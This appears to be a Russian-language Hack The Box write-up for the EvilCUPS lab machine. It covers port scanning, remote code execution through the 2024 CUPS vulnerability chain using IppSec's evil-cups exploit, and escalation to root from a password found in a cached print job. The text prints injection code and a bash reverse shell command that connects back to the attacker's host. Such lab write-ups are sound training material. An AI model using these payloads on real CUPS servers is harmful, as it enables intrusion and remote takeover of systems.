Видео

Разведка

Просканируем машину на наличие открытых портов:

$ rustscan -a 10.10.11.40 -- -sCTV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.11.40:22
Open 10.10.11.40:631
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sCTV" on ip 10.10.11.40
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2024-10-03 06:31 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 06:31
Completed NSE at 06:31, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 06:31
Completed NSE at 06:31, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 06:31
Completed NSE at 06:31, 0.00s elapsed
Initiating Ping Scan at 06:31
Scanning 10.10.11.40 [2 ports]
Completed Ping Scan at 06:31, 2.13s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:31
Completed Parallel DNS resolution of 1 host. at 06:31, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 06:31
Scanning 10.10.11.40 [2 ports]
Discovered open port 22/tcp on 10.10.11.40
Discovered open port 631/tcp on 10.10.11.40
Completed Connect Scan at 06:31, 0.36s elapsed (2 total ports)
Initiating Service scan at 06:31
Scanning 2 services on 10.10.11.40
Completed Service scan at 06:31, 6.57s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.40.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 06:31
NSE Timing: About 99.30% done; ETC: 06:32 (0:00:00 remaining)
NSE Timing: About 99.65% done; ETC: 06:32 (0:00:00 remaining)
Completed NSE at 06:32, 74.35s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 06:32
Completed NSE at 06:32, 9.28s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 06:32
Completed NSE at 06:32, 0.00s elapsed
Nmap scan report for 10.10.11.40
Host is up, received conn-refused (0.17s latency).
Scanned at 2024-10-03 06:31:22 UTC for 90s

PORT    STATE SERVICE REASON  VERSION
22/tcp  open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLhyWEKe+YMaLWwGVFwyHt8c6bWzFkIrhtFZYPkBfui0+1IrwnUmA3TZq1yQ9vN7Jn+Id6YxfaXO7CfraX69S/Y=
|   256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICsRxZMgAIyL7cg9PIv83wIGkMGjzbkzS1jktKqQ6Kij
631/tcp open  ipp     syn-ack CUPS 2.4
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Home - CUPS 2.4.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 06:32
Completed NSE at 06:32, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 06:32
Completed NSE at 06:32, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 06:32
Completed NSE at 06:32, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.06 seconds

На 631/tcp порту видим CUPS — это значит, что нам дополнительно нужно просканировать UDP порты, мы можем понять это по документации CUPS:

$ sudo nmap -sU -p 631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 09:39 MSK
Nmap scan report for 10.10.11.40
Host is up (0.12s latency).

PORT    STATE         SERVICE
631/udp open|filtered ipp

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds

Посмотрим на веб-морду:

alt text

CUPS версии 2.4.2. Вспоминаем пост EvilSocket про эксплуатацию CUPS для получения RCE.

Пользователь

Мы будем эксплуатировать вот эти уязвимости:

  • CVE-2024-47176: cups-browsed
  • CVE-2024-47076: libcupsfilters
  • CVE-2024-47175: libppd
  • CVE-2024-47177: Foomatic-RIP

Еще мы воспользуемся доработанным эксплоитом от IppSec.

Разберемся, что там происходит.

cups-browsed слушает 631/udp и не различает пакет broadcast от посланного напрямую. Это значит, что мы можем послать пакет для установки своего принтера на CUPS.

Мы запустим свой ippserver и пошлем на CUPS команду установки своего принтера:

class MaliciousPrinter(behaviour.StatelessPrinter):
  def __init__(self, command):
    self.command = command
    super(MaliciousPrinter, self).__init__()

  def printer_list_attributes(self):
    attr = {
      # rfc2911 section 4.4
      (
        SectionEnum.printer,
        b'printer-uri-supported',
        TagEnum.uri
      ): [self.printer_uri],
      (
        SectionEnum.printer,
        b'printer-more-info',
        TagEnum.uri
        ): [f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2 :
"application/pdf application/vnd.cups-postscript 0 foomatic-rip'.encode()],

Как видим, мы прописываем атрибуты принтера, которые будет парсить libcupsfilter. Так получилось, что он не санитизирует входные параметры.

В качестве информации о принтере мы пропихиваем \n, и это ломает парсинг, позволяя нам перезаписать FoomaticRIPCommandLine. Обычно FoomaticRIPCommandLine выглядит как-то так:

*FoomaticRIPCommandLine: "(printf '\033%%-12345X@PJL\n@PJL JOB\n@PJL SET COPIES=&copies;\n'%G|perl -p -e "s/\x26copies\x3b/1/");
(gs -q -dBATCH -dPARANOIDSAFER -dNOPAUSE -dNOMEDIAATTRS -dNOINTERPOLATE %B%A%C %D%E | perl -p -e "s/^\x1b\x25-12345X//" | perl -p -e "s/\xc1\x01\x00\xf8\x31\x44/\x44/g");
(printf '@PJL\n@PJL EOJ\n\033%%-12345X')"
*End

Но мы можем выполнить свой код.

Теперь приступим к эксплуатации. Запустим слушателя:

rlwrap nc -lnvp 4242

Выполним эксплоит:

git clone https://github.com/IppSec/evil-cups
cd evil-cups
python3 -m venv env
source env/bin/activate
pip install -r requirements.txt
python3 evilcups.py 10.10.16.26 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.16.26/4242 0>&1'"

Ждем около 30 секунд и переходим на http://10.10.11.40:631/printers/, где обнаруживаем свой принтер:

alt text

Переходим в принтер, жмем Maintenance и печатаем тестовую страницу:

alt text

alt text

И ловим шелл:

alt text

Флаг пользователя

alt text

Повышение привилегий

Мы получили доступ в качестве пользователя lp, который может читать кешированные страницы для печати.

Перед эксплуатацией RCE в CUPS мы видели другой установленный принтер Canon_MB2300_series, перейдем на страницу с ним http://10.10.11.40:631/printers/Canon_MB2300_series.

Нажмем на Show Completed Jobs:

alt text

alt text

С этого принтера была проведена печать файла.

Обычно кешированные страницы попадают в /var/spool/cups/, но у нас нет прав на листинг директории:

lp@evilcups:/$ ls -la /var/spool/cups/
ls: cannot open directory '/var/spool/cups/': Permission denied

Однако мы можем читать файлы, если знаем их имя.

Обычно страницы обозначаются так: d{НОМЕР_ПРИНТЕРА}-{НОМЕР_СТРАНИЦЫ}, где НОМЕР_ПРИНТЕРА — это число вида 00001, а НОМЕР_СТРАНЦЫ — число вида 001.

Подставим и вычитаем PDF:

$ cat /var/spool/cups/d00001-001
%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
%%CreationDate: Sat Sep 28 09:31:01 2024
%%Orientation: Portrait
%%Pages: (atend)
%%DocumentMedia: A4 595 842 0 () ()
%%DocumentNeededResources: (atend)
%%EndComments
%%BeginProlog
%%BeginResource: procset Enscript-Prolog 1.6.5 90
...
(Br3@k-G!@ss-r00t-evilcups) s
...

Среди строк находим пароль Br3@k-G!@ss-r00t-evilcups, который подходит для пользователя root.

$ su
Br3@k-G!@ss-r00t-evilcups

Флаг суперпользователя

alt text